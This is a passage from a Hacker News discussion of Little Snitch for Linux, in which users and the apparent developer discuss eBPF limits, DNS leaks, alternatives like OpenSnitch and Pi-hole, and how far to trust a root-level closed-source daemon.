| overflow, which makes it impossible to reliably tie every network
| packet to a process or a DNS name. > And reconstructing
| which hostname was originally looked up for a given IP address
| requires heuristics rather than certainty. The macOS version uses
| deep packet inspection to do this more reliably. > That's
| not an option here. > > Source: https://web.archive.
| org/web/20260409002901/https://obdev.at/products/littlesnitch-
| linux/index.html
|
| The above feels like an utter AI slop nonsense, sorry. I believe
| eBPF, the Linux Kernel feature, is absolutely capable for
| accuracy and perfect processing of network traffic.
|
| Have you ever checked Calico or Cilium, or at least, Oryx?
| jiveturkey wrote:
| I guess you haven't actually implemented anything in eBPF.
| heatpump5n wrote:
| Can you elaborate? I thought eBPF was created to be used in
| high performance scenarios, so I am confused why this
| shouldn't be posssible.
| serious_angel wrote:
| I have, but in the scopes of Kprobes non-network but memory.
| Here, I am sure you haven't at this point. I also provided
| projects you may check prior stating another nonsense.
| Instead, you could also provide some more evidence you
| disagree with.
| littlesnitch wrote:
| eBPF programs _are_ able to accuratly process network traffic
| in high performance, but the amount of CPU instructions you can
| use is limited. Otherwise it would not be high performance.
| This limits the complexity of in-kernel processing.
| serious_angel wrote:
| Thank you for the response. Yet, how the heck the CPU
| instructions you inject in (that are being processed within
| the same network processing) limit the capabilities of the
| flow, if you literally put your calls within the same
| networking context? Please provide any actual document that
| proves your point.
| waterTanuki wrote:
| Why would one use this over PiHole?
| JoeBOFH wrote:
| This is different. This shows you what in your operating system
| is making connections out and to where.
| roughly wrote:
| I run both (LS on Mac, at least), they do different things -
| pi.hole is a great ad blocker which applies to all of the
| devices on your network. Little Snitch is doing something
| different - it tells you every call that every app you use is
| making, and allows you to approve or deny each one. So, you can
| block telemetry for apps, or you can block certain apps from
| contacting certain servers, or you can just use it to watch
| what apps on your system are calling out to where.
| waterTanuki wrote:
| To clarify, I'm aware that pihole is not intended to run on a
| client OS, and doesn't monitor at a process level. I'm
| focused on the intended effect rather than the process itself
| (blocking malicious/ad servers). And I think I framed my
| initial question incorrectly as if LS and PiHole as
| subtitutes. It's perfectly fine and even preferrable to use
| both as layered protection. I'm just thinking however when it
| comes for bang-for-buck it seems like PiHole is the better
| value proposition if you could only set up one.
|
| pi.hole is primarily billed as an ad blocker, but the
| fundamental way it works is by applying a curated set of DNS
| lists that are blocked (commonly telemetry and ad servers),
| and the admin dashboard which is just a web page (therefore
| works on all platforms, smartphones included) will do the
| same thing: it tells you every call that every app on every
| device on your network is making, and you can approve or deny
| it. You can curate your own list as well and block
| servers/connections you don't want on the network.
|
| LS afaik operates in the same area where it's intended to be
| used for privacy. I guess I could see it being useful for
| people who don't have admin access to their router, but for
| people who do have such access I would think the benefits of
| network-wide DNS monitoring/blocking would outweight the
| costs of having to configure your router settings.
| LamaOfRuin wrote:
| LS seems to not be claiming any security promise on Linux
| because it can't make any guarantees given eBPF
| limitations. But the entire purpose is different and there
| is very little overlap in my view. PiHole is entirely (I
| think?) just applying the blocklist made easy. LS allows
| you to build the blocklist in real time.
|
| I would guess that to the extent the blocklists include
| things that are loaded by applications and not websites,
| they are almost entirely built by users of something like
| LittleSnitch or OpenSnitch. This is also entirely doable
| with wireshark logs, but I think that requires more
| infrastructure to build into usable lists.
| mixmastamyk wrote:
| Some telemetry uses hardcoded addresses when DNS doesn't
| work.
|
| Some telemetry might not be recognized by pi-hole as it is
| new or has nothing to do with ads.
| roughly wrote:
| Yeah, if you're just looking for ad blocking, you're right,
| pi.hole is the better bet.
|
| Little Snitch is intended for per-process, per-connection
| blocking - for example, you may need, eg, an Instagram
| uploader app to contact Meta's servers, but an unrelated
| app should not be able to (and even in the case of the
| hypothetical IG uploader, you can get very fine grained
| about the controls - media.facebook.net, not
| telemetry.facebook.net). In that way, LS does have some
| advantages over pi.hole in that space - You'd need to set
| up every single item that you normally get for free from a
| blocklist, but it gives you much finer control over what's
| getting blocked and much better visibility into what
| connections your processes are trying to make.
|
| Again, I don't think Little Snitch is the right answer if
| you're looking for ad blocking specifically, and if that's
| the extent of your privacy concerns, pi.hole's a better
| bet. Little Snitch is a per-application connection monitor
| and firewall - it _can_ block ads, but that's not its
| primary purpose.
| walrus01 wrote:
| Completely different thing. A littlesnitch type thing is for
| all traffic. Pihole is a DNS query thing that prevents various
| ad content from being loaded. It's also trivially easy for a
| malicious application with network access to bypass any
| instance of pihole on your LAN by doing its own DNS over HTTPS
| lookups to its own set of server(s) by IP.
| waterTanuki wrote:
| I mean, if you're at the point where your machine is
| compromised by a process with full network access little
| snitch won't help much either.
| sampullman wrote:
| You might be surprised, there are plenty of low effort
| attacks out there that just install a crypto miner and
| phone home periodically without doing much to cover it up.
| cortesoft wrote:
| LittleSnitch isn't for ad blocking (only), it is for
| tracking/blocking/allowing ALL connections from various
| processes. PiHole only blocks DNS requests to known ad servers.
| FloatArtifact wrote:
| I wish applications like this could coordinate with upstream
| firewall like opnsense
| mostlysimilar wrote:
| Incredible. LittleSnitch is must-have for macOS and trying to get
| equivalent functionality on Linux was painful. So very happy to
| see this, and very happy to give the developers at Objective
| Development my money.
| mayama wrote:
| In linux, I trust most distro apps to run with network access
| without any sort of firewall. And for apps from internet, just
| put them in bubblewrap or run with flatpak without access to
| homedir, network, audio, video etc. depending on program.
| mathfailure wrote:
| Nice to have this as an extra option, but being a linux user I
| value openness of code. I am pretty content with opensnitch +
| opensnitch-ui.
| Dig1t wrote:
| >The daemon (littlesnitch --daemon) is proprietary, but free to
| use and redistribute.
|
| Worth noting that it is closed source. Would be worth
| contributing patches to OpenSnitch to bring it up to parity with
| Little Snitch.
|
| https://github.com/evilsocket/opensnitch
| MegagramEnjoyer wrote:
| Thanks for sharing Open Snitch
| flexagoon wrote:
| Also see Safing Port master:
|
| https://safing.io/
| mrbluecoat wrote:
| > The macOS version uses deep packet inspection to do this more
| reliably. That's not an option here.
|
| Isn't MacOS just *nix under the hood? Genuinely curious about
| this difference.
| gnerd00 wrote:
| BSD family with fewer GPL parts each year
| manwe150 wrote:
| More the opposite. macOS is a veneer of nix, but underneath it
| is the XNU microkernel. Lots more nuance since Apple took over
| and added a lot of their own performance and API improvements
| to
| ekropotin wrote:
| From what I understand, macOS uses weird kernel implementation,
| which is almost open source, but not 100%
| firelizzard wrote:
| You're correct, but for a bit more context: The macOS kernel
| is XNU, which is derived from/based on the Mach kernel, but
| heavily modified. The kernel itself is open source but some
| drivers/kernel extensions are not so it's not actually usable
| (unless you provide your own implementations of those).
| firelizzard wrote:
| An operating system is roughly broken into three parts: the
| kernel, the core system tools, and the shell (the desktop
| environment and/or the CLI shell). Linux: Linux kernel, GNU
| coreutils (usually), KDE/Gnome/etc + CLI shells. macOS: XNU,
| BSD userland + launchd/etc, Aqua/Cocoa. Windows: NT kernel,
| Win32/WinRT/etc, Windows Shell.
|
| The systems LittleSnitch uses to do packet inspection are very
| much OS-specific. There's no generic standard for doing high-
| performance packet inspection. XNU and Linux are * _very*_
| different kernels. Linus Torvalds built Linux from scratch as a
| monolithic kernel because he wanted a Unix-like OS that wasn 't
| encumbered. XNU is based on the Mach microkernel though XNU is
| a hybrid or monolithic kernel, not a microkernel. The point is,
| they have very different heritage and very different systems
| for... well pretty much everything. So "just *nix under the
| hood" is kind of true but also completely besides the point as
| far as packet inspection goes. And even then, while there are a
| lot of similarities between the core system tools of Linux and
| macOS, they're still quite different and unless you're limiting
| yourself to POSIX-standard interfaces (which are only a
| fraction of the system), you're not going to be able to use the
| same code on both systems.
| txrx0000 wrote:
| As articulated in the author's own blog post:
|
| https://obdev.at/blog/little-snitch-for-linux/
|
| _The core issue is simple and uncomfortable: through automatic
| updates, a vendor can run any code, with any privileges, on your
| machine, at any time._
|
| -----
|
| If the author is serious about this, then they should make their
| own program completely open source, and make builds bit-for-bit
| reproducible.
|
| For all I know, the proprietary Little Snitch daemon, or even the
| binaries they're distributing for the open source components,
| contain backdoors that can be remotely activated to run any code,
| with any privileges, on your machine, at any time.
| littlesnitch wrote:
| This is correct, of course. But I currently can't make the
| entire project Open Source. My other option would be to keep it
| completely private (wrote it mostly for myself in the first
| place).
|
| I think it's still better to make it public and only partially
| Open Source so that some people can benefit from it. If you
| don't trust us, that's completely reasonable, just don't
| install it.
| parhamn wrote:
| Okay hear me out, I use little snitch for a while. Great product.
| Love finding out what phones where. I make every single request
| (except my browser, because I'm fine with their sandbox) block
| until I approve.
|
| Recently I was wondering how you really have to trust something
| like little snitch given its a full kernel extension effectively
| able to MITM your whole network stack.
|
| So I went digging (and asked some agents to deep research), and I
| couldn't find much interesting about the company or its
| leadership at all.
|
| All a long way to say, anyone know anything about this company?
| lapcat wrote:
| > All a long way to say, anyone know anything about this
| company?
|
| Yes, they are indie Mac developers who have been in business
| for more than 20 years, and Little Snitch for Mac is beloved by
| many users for a long time.
| umpalumpaaa wrote:
| Everything has a price though... (I also use little snitch)
| lapcat wrote:
| > Everything has a price though...
|
| What is that supposed to mean in this context?
| gmzamz wrote:
| Given sufficient motivation the little snitch dev could
| essentially supply chain attack every user, or even
| specific users.
|
| Said motivation could be a nation state handing them $XXX
| million dollars
| lapcat wrote:
| > Said motivation could be a nation state handing them
| $XXX million dollars
|
| You're missing the most important part of the motivation
| here: why in the world would a nation-state give a damn
| about Little Snitch, especially to the tune of $XXX
| million dollars?
|
| A nation-state could pay $XXX million to your significant
| other to spy on you. But again, a nation-state doesn't
| give a damn about you.
| wafflemaker wrote:
| >why in the world would a nation-state give a damn about
| Little Snitch, especially to the tune of $XXX million
| dollars?
|
| Per user hacked, it can be _very cheap_ 1 compared to
| bribing anyone. And give data/access that SO can't get.
|
| State is not interested in you until it does. Being
| Jewish, Polish, Gypsy, Gay. Or just WrongThinking. Or
| maybe it becomes super cheap and easy to process all
| information?
|
| 1: it can even be free. You either give us backdoor to
| all your users or you rot in jail. Here's a complementary
| beating up or pictures of your kids, to argument our
| position further.
| selcuka wrote:
| > it can even be free. You either give us backdoor to all
| your users or you rot in jail.
|
| It is already a thing, at least in UK and AU [1]:
|
| > Both countries now claim the right to secretly compel
| tech companies and individual technologists, including
| network administrators, sysadmins, and open source
| developers - to re-engineer software and hardware under
| their control, so that it can be used to spy on their
| users. Engineers can be penalized for refusing to comply
| with fines and prison; in Australia, even counseling a
| technologist to oppose these orders is a crime.
|
| [1] https://www.eff.org/deeplinks/2018/12/new-fight-
| online-priva...
| lapcat wrote:
| 1) Little Snitch is not based in the UK or Australia.
|
| 2) They are interested in software will billions of
| users. They are not interested in software with thousands
| of users.
| lapcat wrote:
| > Per user hacked, it can be very cheap1 compared to
| bribing anyone.
|
| How many users do you think Little Snitch has?
| chabreck wrote:
| its been known for some time that little snitch and other
| personal firewalls are established targets of three-
| letter agencies
| https://news.ycombinator.com/item?id=13813160
| lapcat wrote:
| That comment is a screenshot presented with no context,
| listing a bunch of rather mundane stuff.
|
| "This is clownish"
| https://news.ycombinator.com/item?id=13813828
| parhamn wrote:
| Or even sell the whole org for say $50M and no one ever
| mentions anything.
|
| I think the type of users it attracts (techies, crypto
| ppl, etc) makes it worth more too.
| lapcat wrote:
| > I think the type of users it attracts (techies, crypto
| ppl, etc) makes it worth more too.
|
| No, this by itself doesn't make Little Snitch or any
| business worth $50M. You're dreaming. That's a crazy
| valuation.
| scheme271 wrote:
| Various intelligence agencies are willing to pay 2-3M for
| a working exploit for iphone or android. I think that
| they would be fine with paying 50M for a userbase that
| has a high population of devs, admins, etc. Being able to
| backdoor someone like this in the right organization down
| the line is probably worth 50M.
| lapcat wrote:
| > Various intelligence agencies are willing to pay 2-3M
| for a working exploit for iphone or android.
|
| Little Snitch is not a working exploit for iPhone or
| Android.
|
| > I think that they would be fine with paying 50M for a
| userbase that has a high population of devs, admins, etc.
| Being able to backdoor someone like this in the right
| organization down the line is probably worth 50M.
|
| No, sorry, this is absurd. A ton of products have a high
| population of devs, admins, etc. These are not getting
| acquired by intelligence agencies. Give me one example.
| There's nothing inherently valuable about this
| population.
|
| Who is a Little Snitch customer worth 50M to attack? Name
| them.
| latexr wrote:
| Depends on the target and what you can get. Think about
| Bartender, an app requiring an insanely high level of
| trust and permissions, which was quietly sold.
|
| If you know of someone specific you want to target who
| uses it, the investment could pay off.
|
| For example, we know from your blog posts that you use
| LittleSnitch. Someone who wanted to target you might do a
| lot to spy on you by buying LittleSnitch, probably.
|
| Think of your own apps, too. I don't think you'd do the
| same that Ben Surtees did and sell everything in secret,
| but then again I don't personally know you. You may have
| a price that I'm not aware of. For that reason alone,
| even as I trust the current code is not nefarious, I can
| never give StopTheMadness access to every website and can
| only use it selectively, which is inconvenient.
| lapcat wrote:
| > Depends on the target and what you can get. Think about
| Bartender,
|
| As I said in another comment, Bartender had no target! It
| was not an attack. An app was sold by one developer to
| another developer. End of story.
|
| > If you know of someone specific you want to target who
| uses it
|
| But you don't. And you don't in the case of Little Snitch
| either.
|
| You can dream up a bunch of absurd hypothetical
| scenarios, but they are not the reality.
|
| > Someone who wanted to target you
|
| Nobody wants to target me. Nobody cares about me. I am
| insignificant.
| latexr wrote:
| > Bartender had no target! It was not an attack.
|
| The point is that it shows it can happen. You're a
| browser extension developer, surely you know how often it
| happens that developers of popular extensions are
| approached by shady businesses and sometimes do even
| sell.
|
| > You can dream up a bunch of absurd hypothetical
| scenarios, but they are not the reality.
|
| As someone else has pointed out to you, not hypothetical.
|
| https://news.ycombinator.com/item?id=47699068
|
| > Nobody wants to target me. Nobody cares about me. I am
| insignificant.
|
| You give yourself too little credit. I know of several
| developers and other people with influence who use your
| extensions with complete trust. Compromising you means
| compromising them, which means compromising even more
| people. Jia Tan has aptly demonstrated you don't need to
| directly attack your final target, only a link in the
| chain, even if it _looks_ insignificant.
| lapcat wrote:
| > surely you know how often it happens that developers of
| popular extensions are approached by shady businesses and
| sometimes do even sell.
|
| Yes, developers of free extensions who sell for a
| pittance.
|
| I don't have a popular extension. My extension is
| relatively expensive and thus unpopular. I don't have
| enough users to be interesting to shady businesses. My
| extension is more valuable to me than to anyone else,
| because I, one person, can make a living from it.
|
| > As someone else has pointed out to you, not
| hypothetical.
|
| That link seems a bit silly. There's a screenshot with no
| explanatory context whatsoever. There's a list of items,
| many of which look quite mundane and uninteresting.
| Certainly it is not suggesting acquiring the company for
| millions of dollars. It sounds like someone--could even
| be an intern for all we know--is interested in attacking
| the app from the outside.
|
| I agree with tptacek: "This is clownish"
| https://news.ycombinator.com/item?id=13813828
|
| > You give yourself too little credit.
|
| No, I give myself too much credit. ;-)
|
| > I know of several developers and other people with
| influence who use your extensions with complete trust.
| Compromising you means compromising them, which means
| compromising even more people.
|
| What is the value of compromising these people? Oh noes,
| the CIA can now write Daring Fireball articles!
|
| > Jia Tan has aptly demonstrated you don't need to
| directly attack your final target, only a link in the
| chain, even if it _looks_ insignificant.
|
| What chain? I have no third-party dependencies. If
| someone can compromise Apple's operating systems, then my
| software or Little Snitch is the least of our worries.
|
| I do specifically and intentionally avoid using NPM,
| because of frequent compromises. Little Snitch is not
| even JavaScript, so no worries there.
| latexr wrote:
| > My extension is more valuable to me than to anyone
| else, because I, one person, can make a living from it.
|
| I believe you, and as a fellow indie developer trust you
| and your intentions and that you're careful to not be
| compromised. But if I'm being honest with myself I don't
| have concrete proof of any of those. So I trust but also
| try to limit the blast radius if anything goes wrong.
| Does that make sense? I think you might agree there.
|
| Your blog helps with that trust and with understanding
| the human behind it.
|
| > Certainly it is not suggesting acquiring the company
| for millions of dollars.
|
| Alright, yeah, I see we're talking a bit past each other
| in that regard. You're right that's how the conversation
| started (before I joined in) but I don't care for that
| angle fully either. I agree there are more plausible ways
| to achieve the objective.
|
| > Oh noes, the CIA can now write Daring Fireball
| articles!
|
| Not sure that'd be a downgrade. Maybe they could fix the
| Markdown perl script, too. Joking aside, I think there
| would be better targets, like someone on Apple's
| Passwords team.
|
| > What chain? I have no third-party dependencies. If
| someone can compromise Apple's operating systems
|
| I don't mean it in the sense of software dependencies,
| but in the sense that some app you use would compromise
| you. You know macOS' permissions are mostly security
| theatre. We know people inside Apple use third-party
| apps. I can imagine ways of exploiting that, given a bit
| more knowledge of people from inside (which could be
| gathered from working there for a while, trawling social
| media, maybe reading Gruber's emails, ...).
|
| > I do specifically and intentionally avoid using NPM,
| because of frequent compromises.
|
| Same, no argument from me there.
| lapcat wrote:
| > I don't mean it in the sense of software dependencies,
| but in the sense that some app you use would compromise
| you. You know macOS' permissions are mostly security
| theatre. We know people inside Apple use third-party
| apps. I can imagine ways of exploiting that, given a bit
| more knowledge of people from inside (which could be
| gathered from working there for a while, trawling social
| media, maybe reading Gruber's emails, ...).
|
| You seem to be waffling here between targeted and
| untargeted attacks.
|
| There's a world of difference between compromising me or
| an Apple employee and compromising my software or Apple's
| software. You don't magically get the latter from the
| former.
|
| Untargeted attacks are just looking for the usual stuff,
| e.g., money. They don't care about who the victims are or
| what else they have.
|
| It would require a targeted attack to insert mallicious
| code into my software or into Apple's software. You
| claim, "I can imagine ways of exploiting that," but I
| don't actually believe you. If you can imagine it, then
| explain exactly how.
|
| There's no evidence that anyone is targeting my software
| or that anyone has any reason to target my software. Even
| if I downloaded a typical malware app from the web, that
| wouldn't result in malicious code getting shipped in my
| software.
|
| I'm not aware of anyone on the Apple Passwords team using
| my software, so if someone were trying to attack me to
| get to them, that's seems a bit fruitless, to use a pun.
| In any case, the chain from compromising me, to
| compromising my software releases, to compromising an
| Apple engineer, to compromising Apple software releases,
| is convoluted to the extreme and would require much more
| specifics than anyone has given here (or is capable of
| giving).
|
| In any case, I'm quite careful--though not tin foil hat
| paranoid--about which software I download and run on my
| Mac, and I've never downloaded malware in more than 20
| years as a Mac user. Obviously I'm careful about my own
| privacy and security, since I use Little Snitch too!
| latexr wrote:
| Like how it happened for Bartender, another macOS app
| which required a lot of permissions. It was sold to a
| company and they told no one, until a user noticed via
| the now defunct MacUpdater that the app signature
| changed.
|
| Ben Surtees (Bartender's original developer) burned all
| the good will accumulated over years in one moment. Never
| again can anyone trust software under that name.
| lapcat wrote:
| Bartender was not a supply chain attack! The app was sold
| for monetary reasons to another developer for monetary
| reasons.
|
| There were no targets involved. There were no nation-
| states involved. There were no attacks involved. You
| might not like the new developer, but this whole
| discussion of a nation-state and 9 figure payoff is
| totally ridiculous.
| latexr wrote:
| > You might not like the new developer
|
| What I didn't like was the secrecy, that was a breach of
| user trust. _Why_ wasn't it announced is the problem.
| lapcat wrote:
| That's a legitimate criticism. Nonetheless, this
| subthread started with a comment about supply chain
| attacks and nation states, which is ridiculous.
| umpalumpaaa wrote:
| That's what i meant. Thanks for reading my mind. :)
| Leptonmaniac wrote:
| Well, that is obvious, is it not? It means They are
| interested in The Plan and have enough power that a vague
| comment is all you gonna get. Cannot have Them finding
| out that we are on to Them. Though of course, The Plan
| already accounts for that, so They already know and will
| do Something about it. Want facts? Wake up, do your
| Research!
| ignoramous wrote:
| _disclaimer_ : I co-develop (FOSS) Little Snitch / Open Snitch
| inspired firewall but for Android
|
| > _little snitch given its a full kernel extension_
|
| On macOS, don't think Little Snitch needs kernel exclaves /
| extensions. Apple provides userspace ("Network Extension") APIs
| (however limited) for apps like Little Snitch to use (instead
| of _pf_ ).
|
| > _effectively able to MITM your whole network stack_
|
| "MITM" means something else, anywho... if network observability
| (not firewall) is the primary need, cross-platform (GUI)
| sniffers like Sniffnet exist:
| https://github.com/GyulyVGC/sniffnet
| littlesnitch wrote:
| Disclaimer: I'm the developer of Little Snitch for Linux.
| Regarding MITM concerns: The eBPF component, which actually
| sees all the traffic, is Open Source (GPLv2). You can review it
| on Github and verify whether it sends any data to user space:
| https://github.com/obdev/littlesnitch-linux
|
| But the trust issue is still real, the daemon has to run as
| root because it needs to watch for new mounts and keep a table
| of file system roots up-to-date, even after loading all the
| eBPF programs. As a root process, it can technically do
| whatever it wants. Unless you limit it with a kind of mandatory
| access control (SELinux or similar).
|
| This is the very first release and we will probably come up
| with a more restricted permission requirement in the future.
| For the moment, I try to catch up with bug reports. There seems
| to be more diversity in the Linux landscape than I had
| expected.
| hubabuba44 wrote:
| I'm happy to see this on Linux and I really appreciate the
| open-sourcing of the eBPF component.
|
| I maintain rustnet, a passive network monitor in the same
| eBPF + libpcap space, so I ran into a lot of the same issues.
| Wanted to share what has been working for me on the privilege
| side, in case any of it is useful for v2.
|
| rustnet ships with setcap
| 'cap_net_raw,cap_bpf,cap_perfmon+eip' instead of setuid-root.
| During startup it loads the eBPF programs, opens the pcap
| handle, and then drops all three caps before touching any
| packet data. It clears the ambient set, sets
| PR_SET_NO_NEW_PRIVS, and applies a Landlock ruleset that
| restricts the filesystem to /proc plus configured log paths
| and blocks TCP bind/connect on 6.4+ kernels. Code is in
| src/network/platform/linux/sandbox/ if you want to have a
| look.
|
| On the "needs to watch mounts" point, totally fair that
| Little Snitch needs live mount visibility, but I think it is
| achievable without staying UID 0:
|
| - Watching for mount changes: poll() on /proc/self/mountinfo
| with POLLPRI wakes on every mount table change from a
| completely unprivileged process (this is what systemd and
| mount(8) use internally). Alternatively, an eBPF program on
| the mount/umount/move_mount tracepoints can be loaded at init
| and stream events via a ring buffer, with no continued cap
| cost after load. - Resolving an arbitrary PID to its binary
| across container mount namespaces: CAP_SYS_PTRACE is enough
| for that. The /proc/PID/root magic symlink does the namespace
| translation inline inside the kernel pathwalk, so
| open("/proc/12345/root/usr/bin/firefox", ...) opens the right
| file in the right container's view without ever calling
| setns(), which is what would otherwise need CAP_SYS_ADMIN
| (the new root).
| VladVladikoff wrote:
| Really like Lulu as an alternative to LittleSnitch
| https://objective-see.org/products/lulu.html
| alsetmusic wrote:
| Congrats to Linux users on getting a great tool from a quality
| development shop. Objective Development is one of our (Mac users)
| exemplars for attention to detail and fit & finish.
|
| Congrats to Objective Development for expanding their well-loved
| tool to a new platform. You guys rock.
| ProllyInfamous wrote:
| >attention to detail
|
| Why does LittleSnitch (Mac) pre-resolve IP addresses, before
| user presses Accept/Deny?
|
| IMHO DNS queries shouldn't initiate without user input.
| alsetmusic wrote:
| Question for devs, not me.
| eviks wrote:
| Did the "attention to detail" phrase come from devs or you?
| alsetmusic wrote:
| From me. OD is a great dev firm. Do you understand my
| statement?
| eviks wrote:
| Do you understand that you can't redirect the question
| addressed to you to the devs if that question questions
| your own statement by pointing out that some important
| details are not attended to?
| littlesnitch wrote:
| Little Snitch is bound to the API provided by Apple. The
| NEFilterDataProvider API calls `handleNewFlow()` only _after_
| sending out the first IP packet.
|
| Version 6 added DNS encryption and in principle we could
| filter lookups (similar to PiHole) at this level. That brings
| other issues, though: This filter is system-wide, so process-
| specific rules (and overrides) would not work. And results
| can be cached by mDNSResponder. So when a blocklist causes an
| issue, you may not be able to fix it by simply disabling the
| blocklist. But it's still something we consider.
| ProllyInfamous wrote:
| >in principle we could filter lookups
|
| I've been telling people about ya'll's DNS leaks for over a
| decade -- glad to finally hear back -- most people won't
| believe me [0] until this flaw is demonstrated _on their
| specific machine_ (easy enough). Those already using
| LittleSnitch will then typically set up better filtering
| (e.g. DNS white /blacklist, PiHole, et.alius).
|
| And until the behavior is fixed, I will keep _spreading the
| good word_. Does the Linux version have this same flaw
| (i.e. backend requirements similar to Mac initial IP leak)?
|
| ----
|
| A very neat product (LittleSnitch), but I stopped using it
| solely for above reason [1]. IMHO, this flaw should be
| better documented in your installer/docs.
|
| [0] e.g. they'll lament "there is _no way_ the developer
| would allow that sort of leak /behavior!" Their denial is a
| helluvadrug
|
| [1] I had a 5-user site license, IIRC. Shortly after
| purchasing, I found out above _and then stopped using
| entirely_
| badc0ffee wrote:
| Does anyone know how the blocking functionality works? I worked
| on some eBPF code a few years ago (when BTF/CO-RE was new), and
| while it was powerful, you couldn't just write to memory, or make
| function calls in the kernel.
|
| Is there a userland component that's using something like
| iptables? (Can iptables block traffic originating from/destined
| to a specific process nowadays?)
| littlesnitch wrote:
| eBPF is extended in every kernel version. There is a layer
| where you get network packets and return a verdict. Little
| Snitch uses this type of eBPF function. You can look at the
| sources on Github.
| sneak wrote:
| It's not really necessary on Linux. Linux systems work without 40
| invisible background services phoning home to the mothership to
| leak your hardware identifiers for FAA702 collection.
| weikju wrote:
| Linux maybe, not so true of all the DEs and apps installed on
| it
| computing wrote:
| doesn't work on arch (btw)
| LoganDark wrote:
| Yess, the return of the _actually good_ landing page for the
| technically-minded. Now all they need to do is roll back the
| macOS one that looks and reads like it was designed by a
| marketing agency that knows nothing about computers (or even
| Little Snitch itself).
| TheTaytay wrote:
| I've been researching the "best" way to build a little outbound
| network proxy to replace credential placeholders with the real
| secrets. Since this is designed to secure agents workloads, I
| figured I might as well add some domain blocking, and other
| outbound network controls, so I've been looking for Little-
| snitch-like apps to build on. I've been surprised to find that
| there aren't a ton of open source "filter and potentially block
| all outbound connections according to rules". This seems like the
| sort of thing that would be in a lot of Linux admins' toolkit,
| but I guess not! I appreciate these guys building and releasing
| this.
| LoganDark wrote:
| Something almost no firewalls get right is _pausing_
| connections (NOT _rejecting_ them) until I 've decided whether
| to allow or not. The only firewalls I've seen do this are
| Little Snitch for Mac, and Portmaster for Windows (before they
| made it adware / started locking existing local features behind
| the subscription).
| Avicebron wrote:
| Firewalls don't do this because they are built at the wrong
| layer to do proper pending calls. It's too narrow of a design
| space for most firewalls to care.
| LoganDark wrote:
| True, most firewalls aren't built to pause for user input.
| But then again, that's why almost no firewall software is
| suitable for this user experience.
| tankenmate wrote:
| I use Portmaster (on Linux) and I have never seen ads (either
| in the app or apps that get their DNS from Portmaster) on it.
| About the only thing I saw different between the free version
| and the base level paid for version was traffic history and
| weekly reports (and badges on Discord if that's your kind of
| thing).
| LoganDark wrote:
| Both used to be free. And you may not consider it
| advertising when unavailable features exist in the free UI
| just to tell you they're paid, but I do. _Especially_ when
| they used to be free.
| jcgl wrote:
| OpenSnitch seems to do this just fine? Unless I'm
| misunderstanding your point. Connections seem to just block
| until I take an action on the dialog. Now, if an application
| itself has specified a short timeout (looking at you, NodeJS-
| based stuff), that obviously doesn't help. But for most
| software it works great.
| chris_wot wrote:
| Can someone elaborate on the limitations bit?
|
| "Little Snitch for Linux is built for privacy, not security, and
| that distinction matters. The macOS version can make stronger
| guarantees because it can have more complexity. On Linux, the
| foundation is eBPF, which is powerful but bounded: it has strict
| limits on storage size and program complexity. Under heavy
| traffic, cache tables can overflow, which makes it impossible to
| reliably tie every network packet to a process or a DNS name. And
| reconstructing which hostname was originally looked up for a
| given IP address requires heuristics rather than certainty. The
| macOS version uses deep packet inspection to do this more
| reliably. That's not an option here."
|
| Is this a limitation of the eBPF implementation? Pardon my
| ignorance, I'm genuinely curious about this.
| littlesnitch wrote:
| eBPF limits the size of the code, its complexity and how data
| can be stored. You cannot just implement any algorithm in eBPF
| for that reason.
|
| That's not only a weakness, it's also a strength of eBPF. This
| way it can provide security and safety guarantees on the code
| loaded into the kernel.
| 0xbadcafebee wrote:
| > Compatible with Linux kernel 6.12 or higher
|
| I know everyone today is used to upgrading every 5 seconds, but
| some of us are stuck on old software. For example, my Linux
| machine keeps rebooting and sucks up power in suspend mode
| because of buggy drivers in 6.12+, so I'm stuck on 6.8. (which is
| extra annoying because I bought this laptop for its Linux
| hardware support...)
| littlesnitch wrote:
| In theory, it could be possible to get the requirement down to
| 5.17, but I don't get around the verifier constraints on pre
| 6.12 kernels. Maybe somebody who is more experienced with eBPF
| and the verifier can help. This part is Open Source and you can
| replace it.
| winrid wrote:
| Related - I'm working on launching Watch.ly[0] (human-in-the-loop
| for remotely approving network and file system access for agents)
| in the next week or so. It works similarly, via eBPF (although we
| can also fall back to NFQUEUE). Supporting 5.x+ linux kernels[1],
| osx, and windows.
|
| Did not know about LittleSnitch, will definitely check it out.
|
| [0] https://watch.ly/
|
| [1] https://app.watch.ly/status/
| adrianwaj wrote:
| There was a similar Show HN from 3 weeks ago.
| https://news.ycombinator.com/item?id=47387443 (open source too) -
| and there is a live window from all the machines in the swarm.
| https://dialtoneapp.com/explore - but only 2 so far. Maybe
| LittleSnitch can generate more data than this? Could end up an
| immune system for bad actors.
|
| Anything new to get much better performance from low-spec
| machines that is idiot-proof is a game-changer.
| eviks wrote:
| Does it leak your IP like the Mac version?
|
| https://news.ycombinator.com/item?id=35363343
|
| > Little Snitch for Linux is not a security tool.
|
| Maybe not?
|
| > Its focus is privacy:
|
| Or maybe yes?
| littlesnitch wrote:
| You are referring to the TCP three way handshake problem here.
| The macOS version is bound by the API provided by Apple: We get
| the API call for filtering only _after_ the three way handshake
| has started.
|
| The Linux version is limited in complexity. It has to decide
| immediately. This has the consequence that no packet leaves the
| machine if the connection is denied, but on the other hand it
| means that it's easier to trick. The macOS version can inspect
| the first packet sent (deep packet inspection) to find the
| remote host name in TLS headers. The Linux version relies on
| heuristics: The most recent lookup seen which returned the IP
| address determines the name. This part is Open Source and you
| can inspect the algorithm.
| shawnta wrote:
| Great website features, exactly what I needed, thank you.
| imagetic wrote:
| Dope.
| tankenmate wrote:
| I'm so surprised that so few people have heard of Portmaster,
| it's been around for years and runs on Linux (and Windows if you
| must). And if you don't need traffic history it's free.
| cyberpunk wrote:
| portmaster is the tool i use for upgrading installed ports on
| freebsd since... like... olden times.
| wolvoleo wrote:
| Ohhh interesting. Little snitch is one of 2 apps I miss from when
| the Mac was my daily driver. The other app was pixelmator
| xn--yt9h wrote:
| Giving it a shot right now. Very easy setup, intuitive UI, but _a
| lot_ of requests ' processes are not identified (while they could
| easily be identified, as they belong to the browser that has
| some, but less, identified calls)
| littlesnitch wrote:
| Little Snitch must be running when the process starts in order
| to identify it correctly. You get less "Not Identified" if you
| run it for a while, or you should get none if you reboot and
| Little Snitch can start before everything else.
|
| I would love to fix this requirement, but have not found a way
| yet.
| microtonal wrote:
| Wow. I have used Little Snitch on Mac for years, love this!
|
| If anyone from obdev is reading, please give us a way to pay for
| it, even if it stays free :), I'd love to support development and
| would happily pay something between the price of Little Snitch
| and Little Snitch Mini.
|
| Anyway, thanks a lot!
